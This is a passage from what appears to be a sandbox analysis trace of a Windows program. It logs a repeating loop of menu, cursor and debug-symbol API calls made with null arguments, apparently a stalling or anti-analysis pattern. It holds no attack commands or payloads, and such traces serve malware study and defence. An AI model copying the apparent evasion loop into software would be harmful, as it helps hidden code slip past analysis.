lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.050] GetLastError () returned 0x579 [0141.050] SetLastError (dwErrCode=0x579) [0141.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.050] SymCleanup (hProcess=0x0) returned 0 [0141.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=405, param_4=206, param_5=0x0, param_6=0x0) returned 0 [0141.050] GetLastError () returned 0x579 [0141.050] SetLastError (dwErrCode=0x579) [0141.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.050] SymCleanup (hProcess=0x0) returned 0 [0141.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.050] GetLastError () returned 0x579 [0141.050] SetLastError (dwErrCode=0x579) [0141.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.050] SymCleanup (hProcess=0x0) returned 0 [0141.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.051] GetLastError () returned 0x579 [0141.051] SetLastError (dwErrCode=0x579) [0141.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.051] SymCleanup (hProcess=0x0) returned 0 [0141.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.051] GetLastError () returned 0x579 [0141.051] SetLastError (dwErrCode=0x579) [0141.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.051] SymCleanup (hProcess=0x0) returned 0 [0141.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.051] GetLastError () returned 0x579 [0141.051] SetLastError (dwErrCode=0x579) [0141.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.051] SymCleanup (hProcess=0x0) returned 0 [0141.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=746, param_4=46, param_5=0x0, param_6=0x0) returned 0 [0141.051] GetLastError () returned 0x579 [0141.051] SetLastError (dwErrCode=0x579) [0141.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.052] SymCleanup (hProcess=0x0) returned 0 [0141.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.052] GetLastError () returned 0x579 [0141.052] SetLastError (dwErrCode=0x579) [0141.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.052] SymCleanup (hProcess=0x0) returned 0 [0141.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.052] GetLastError () returned 0x579 [0141.052] SetLastError (dwErrCode=0x579) [0141.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.052] SymCleanup (hProcess=0x0) returned 0 [0141.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.052] GetLastError () returned 0x579 [0141.052] SetLastError (dwErrCode=0x579) [0141.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.052] SymCleanup (hProcess=0x0) returned 0 [0141.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.053] GetLastError () returned 0x579 [0141.053] SetLastError (dwErrCode=0x579) [0141.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.053] SymCleanup (hProcess=0x0) returned 0 [0141.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=488, param_4=420, param_5=0x0, param_6=0x0) returned 0 [0141.053] GetLastError () returned 0x579 [0141.053] SetLastError (dwErrCode=0x579) [0141.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.053] SymCleanup (hProcess=0x0) returned 0 [0141.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.053] GetLastError () returned 0x579 [0141.053] SetLastError (dwErrCode=0x579) [0141.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.053] SymCleanup (hProcess=0x0) returned 0 [0141.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.054] GetLastError () returned 0x579 [0141.054] SetLastError (dwErrCode=0x579) [0141.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.054] SymCleanup (hProcess=0x0) returned 0 [0141.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.054] GetLastError () returned 0x579 [0141.054] SetLastError (dwErrCode=0x579) [0141.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.054] SymCleanup (hProcess=0x0) returned 0 [0141.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.054] GetLastError () returned 0x579 [0141.054] SetLastError (dwErrCode=0x579) [0141.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.054] SymCleanup (hProcess=0x0) returned 0 [0141.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=763, param_4=488, param_5=0x0, param_6=0x0) returned 0 [0141.055] GetLastError () returned 0x579 [0141.055] SetLastError (dwErrCode=0x579) [0141.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.055] SymCleanup (hProcess=0x0) returned 0 [0141.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.055] GetLastError () returned 0x579 [0141.055] SetLastError (dwErrCode=0x579) [0141.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.055] SymCleanup (hProcess=0x0) returned 0 [0141.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.055] GetLastError () returned 0x579 [0141.055] SetLastError (dwErrCode=0x579) [0141.055] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.055] SymCleanup (hProcess=0x0) returned 0 [0141.055] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.055] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.055] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.055] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.055] GetLastError () returned 0x579 [0141.056] SetLastError (dwErrCode=0x579) [0141.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.056] SymCleanup (hProcess=0x0) returned 0 [0141.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.056] GetLastError () returned 0x579 [0141.056] SetLastError (dwErrCode=0x579) [0141.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.056] SymCleanup (hProcess=0x0) returned 0 [0141.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=330, param_4=196, param_5=0x0, param_6=0x0) returned 0 [0141.056] GetLastError () returned 0x579 [0141.056] SetLastError (dwErrCode=0x579) [0141.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.056] SymCleanup (hProcess=0x0) returned 0 [0141.056] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.056] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.056] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.056] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.056] GetLastError () returned 0x579 [0141.056] SetLastError (dwErrCode=0x579) [0141.056] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.057] SymCleanup (hProcess=0x0) returned 0 [0141.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.057] GetLastError () returned 0x579 [0141.057] SetLastError (dwErrCode=0x579) [0141.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.057] SymCleanup (hProcess=0x0) returned 0 [0141.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.057] GetLastError () returned 0x579 [0141.057] SetLastError (dwErrCode=0x579) [0141.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.057] SymCleanup (hProcess=0x0) returned 0 [0141.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.057] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.057] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.057] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.057] GetLastError () returned 0x579 [0141.057] SetLastError (dwErrCode=0x579) [0141.057] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.057] SymCleanup (hProcess=0x0) returned 0 [0141.057] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=178, param_4=96, param_5=0x0, param_6=0x0) returned 0 [0141.058] GetLastError () returned 0x579 [0141.058] SetLastError (dwErrCode=0x579) [0141.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.058] SymCleanup (hProcess=0x0) returned 0 [0141.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.058] GetLastError () returned 0x579 [0141.058] SetLastError (dwErrCode=0x579) [0141.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.058] SymCleanup (hProcess=0x0) returned 0 [0141.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.058] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.058] GetLastError () returned 0x579 [0141.058] SetLastError (dwErrCode=0x579) [0141.058] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.058] SymCleanup (hProcess=0x0) returned 0 [0141.058] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.058] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.058] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.059] GetLastError () returned 0x579 [0141.059] SetLastError (dwErrCode=0x579) [0141.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.059] SymCleanup (hProcess=0x0) returned 0 [0141.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.059] GetLastError () returned 0x579 [0141.059] SetLastError (dwErrCode=0x579) [0141.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.059] SymCleanup (hProcess=0x0) returned 0 [0141.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=43, param_4=633, param_5=0x0, param_6=0x0) returned 0 [0141.059] GetLastError () returned 0x579 [0141.059] SetLastError (dwErrCode=0x579) [0141.059] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.059] SymCleanup (hProcess=0x0) returned 0 [0141.059] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.059] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.059] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.059] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.060] GetLastError () returned 0x579 [0141.060] SetLastError (dwErrCode=0x579) [0141.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.060] SymCleanup (hProcess=0x0) returned 0 [0141.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.060] GetLastError () returned 0x579 [0141.060] SetLastError (dwErrCode=0x579) [0141.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.060] SymCleanup (hProcess=0x0) returned 0 [0141.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.060] GetLastError () returned 0x579 [0141.060] SetLastError (dwErrCode=0x579) [0141.060] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.060] SymCleanup (hProcess=0x0) returned 0 [0141.060] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.060] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.060] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.060] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.060] GetLastError () returned 0x579 [0141.061] SetLastError (dwErrCode=0x579) [0141.061] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 